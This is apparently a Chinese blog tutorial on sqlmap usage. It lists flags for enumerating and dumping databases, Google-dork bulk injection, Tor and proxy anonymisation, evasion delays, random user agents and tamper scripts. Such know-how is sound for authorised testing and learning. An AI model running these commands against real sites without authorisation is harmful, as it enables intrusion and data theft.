Sqlmap简单使用

Sqlmap的简单使用

安装

1.kali 集成
2.官网下载

http://sqlmap.org/
--update  更新

在这里插入图片描述

注入模式

0	只显示python错误以及严重问题
1	显示以上信息同时显示基本信息和警告信息
2	显示以上信息同时显示debug
3	显示以上信息同时显示注入的payload
4	显示以上信息同时显示HTTP请求
5	显示以上信息同时显示HTTP响应头
6	显示以上信息同时显示HTTP响应界面

常用参数

-u  --url  		 指定URL
--dbms=mysql     指定数据库
--os=windows     指定操作系统
--flush-session  刷新缓存
--proxy			 指定代理     sqlmap -u http://xxxxx  --proxy http://xxxxxx:port
--user-agent     指定user-agent  sqlmap -u http://xxxxx  --user-agent="Mozilla/5.0........."
--data      	 数据以POST方式提交

注入过程

sqlmap -u http://xxxxx ?id=1 --dbs                             查数据库
sqlmap -u http://xxxxx ?id=1 --current-db    				   当前数据库
sqlmap -u http://xxxxx ?id=1 -D 'security' --tables            查出表
sqlmap -u http://xxxxx ?id=1 -D 'security -T 'tables' --colums 查出列
sqlmap -u http://xxxxx ?id=1 -D 'security -T 'tables' -C 'coluum1' --dump 列出数据

直连数据库

服务型数据库(前提知道数据库用户名和密码):
DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME(Mysql,Oracle,SQL Server,Postgre SQL,...)

python sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdbn" -f --banner --dbs --users

文件型数据库(前提知道数据库绝对路径)
DBMS://DATABASE_FILEPATH(SQLite,Access,Firebird,....)
在这里插入图片描述

设置安全模式

避免多次请求失败后销毁会话,执行一定数量的失败请求后(盲注时),服务器可能销毁会话

--safe-url
--safe-post
--safe-req
--safe-freq

URL探测

python sqlmap.py -u URL
python sqlmap.py --url URL

文件读取目标

sqlmap支持从不同类型的文件中读取目标进行sql注入探测

-l    从burp proxy或者webscarab proxy中读取HTTP请求文件
-x    从sitemap.xml站点地图文件中读取目标进行探测
-m    从多行文本格式文件读取多个目标,进行探测
-r    从文本文件中读取HTTP请求作为SQL注入探测目标
-c    从配置文件sqlmap.conf读取目标进行探测

获取bp文件
在这里插入图片描述

谷歌批量注入

配合谷歌语法(需要解决谷歌访问问题)

python sqlmap.py -g "inurl:\".php?id=1\""

设置HTTP方法

--method=PUT

设置POST提交参数

默认情况下,用于执行HTTP请求的HTTP方法是GET,可以提供发送的数据将其隐式的修改为POST

python sqlmap.py -u "http://xxx.xxx.xxx.php" --data="id=1" -f --banner --dbs --users

在这里插入图片描述

--data="id=1"
-f  指纹

设置参数分隔符

在某些情况下,需要覆盖默认参数分隔符( 如& ),来正确处理每个参数

python sqlmap.py -u"http://xxx.xxx.xxx.xxx.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users
 --param-del=";"
  --param-del="&"
  ...

设置cookie头

1.web有基于cookie的验证
2.想利用cookie值上的SQL注入漏洞

--cookie 
--cookie-del
--load-cookies
--drop-set-cookie

如果web使用set-cookie表头进行相应,sqlmap将在所有进一步的HTTP请求中自动使用其值作为cookie标头,sqlamp会自动测试这些值,可以用--drop-set-cookie--sqlmap忽略任何到来的set-cookie头

对cookie检测,需要--level 2 以上

设置user-agent头

sqlmap有默认的头:  sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)

在这里插入图片描述

伪造头

--user-agent     指定user-agent  sqlmap -u http://xxxxx  --user-agent="Mozilla/5.0........."

在这里插入图片描述

--random-agent    使用随机的头

设置host主机头

--level 5 将对主机头进行探测

设置referer头

--level 3以上探测

设置额外HTTP头

--header 每个标头必须用换行符分割,从配置文件中获得 sqlmap.conf
python sqlmap.py -u http://xxxxxxx?id=1 --headers="Host:www.target.com\nUser-agent:Firefox" -v 5

在这里插入图片描述

设置HTTP协议认证

如basic认证:
在这里插入图片描述

--auth-type  用于定义HTTP协议认证的方式   支持Basic Digest NTLM
--auth-cred
--auth-cred 语法:username:password
python sqlmap.py -u http://xxxxxxx?id=1 --auth-type Basic --auth-cred "testname:password"

设置HTTP代理

代理IP可以百度搜索
在这里插入图片描述
在这里插入图片描述

--proxy
--proxy-cred     输入用户名,密码
--proxy-file     多行文本,多个代理
--ignore-proxy   忽略系统代理,使用设置的代理
--proxy	指定代理     sqlmap -u http://xxxxx  --proxy http://xxxxxx:port
--proxy-cred  username:password

设置Tor隐藏网络

在这里插入图片描述

---tor
--tor-port
--tor-type
--check-tor

设置延迟

避免发包过快导致目标预警

--delay 0.5   设置延迟 0.5 秒

设置超时

考虑超时HTTP请求前,指定等待的秒数,默认30秒
在这里插入图片描述

--timeout 0.15

设置重试次数

--retries 4 设置重连次数,默认3次

设置随机化参数

每次都随即更改参数值,长度与类型与初始值保持一致

-- randomize 参数名

在这里插入图片描述

标题设置日志过滤目标

正则表达式

python sqlmap.py -l burp.log.txt --scopr="(www)?\.target\.(com|net|org)" 

设置忽略401未授权

忽略未验证错误

--ignore 401

在这里插入图片描述

设置HTTP协议私钥

当web服务器需要适当的客户端证书和用于身份验证的私钥时,使用此选项,提供的值是一个PEM格式的key_file,包含证书和私钥

--auth-file

设置忽略URL编码

根据参数的位置如GET,默认情况下是URL编码,某些情况下,后端WEB服务器不遵循RFC标准,需要以原始的非编码形式发送

--skip-urlencode  不进行URL加密

Sqlmap设置持久HTTP连接

HTTP报文Connection:keep-alive

--keep-alive

设置不接受HTTP Body

设置空连接,常用于盲注

--null-connection  检索没有body响应的内容

设置多线程

默认1个线程,最大10个线程

--thread 10

设置预测输出

在推理算法中用于检索值字符的顺序统计预测
与 --thread 不兼容

--predict-output

指定注入参数

-p     指定具体探测的参数     -p "id"
--skip   忽略探测的参数  --skip "user-agent,referer"
--param-exclude  忽略包含具体内容的参数   --param-exclude="token|session"   不对包含session或token的参数进行探测
--skip-static   忽略非动态参数

设置URI注入位置

当注入点位于URI本身内部时,会出现一些特=特殊情况,除非手动指向URI路径,否则sqlmap不会对URI执行测试,必须在命令行中添加*来指定注入点
如当使用apache web 服务器的mod_rewrite模块或者其他技术

sqlmap.py -u "http://xxxx?id=1*&pass=1"

设置任意注入位置

与URI类似

*

设置DBMS

默认可以自动识别DBMS

--dbms 数据库管理系统 [版本]
--dbms mysql 5.0

设置OS

默认可以自动识别OS

--os windows
--os linux

关闭负载转换机制

在这里插入图片描述

--no-cast

关闭字符转义机制

在这里插入图片描述

--no-escape

强制设置无效值替换

使原始参数值无效
1.使用大整数 ,id=999999999999999999

--invalid-bignum

2.强制使用布尔操作 , id=1 and 18=19

--invalid-logical

3.强制使用随机字符串 , id=savgsadgv

--invalid-string

自定义负载位置

在某些情况下,只有当用户提供要附加到注入负载的特定后缀时,易受攻击参数才会被利用,当用户知道查询语法并希望通过直接提供注入有效负载前缀和后缀来检测和利用SQL注入时,这些选项可以使用

--prefix  设置payload前缀
--suffix 设置payload后缀

在这里插入图片描述

设置Tamper脚本

--tamper ”脚本名称1,名称2“

设置DBMS认证

--dbms-cred=username:password

设置探测等级

1 2 3 4 5

--level  5

设置风险参数

指定测试风险的参数,有3 个等级,默认为一,对大多数注入无害,2增加了大量基于查询时间的SQL注入测试的默认级别,值3增加了基于or的注入测试
or有可能导致表的条目的更新,引入一个选项:用户控制有效载荷,用户可以使用潜在危险的负载

--risk 3

设置页面比较参数

默认情况下,通过比较注入的请求页面和原始页面,区分真假查询
在这里插入图片描述

--string 指定包含字符串,查询为True
--nor-string  指定包含字符串,查询为False
--regexp  指定通过正则表达式匹配字符串,查询为True
--code  指定匹配的HTTP状态响应码  ,查询为True

设置内容比较参数

在这里插入图片描述

posted @ 2021-07-30 17:10  1ucifer  阅读(228)  评论(0编辑  收藏  举报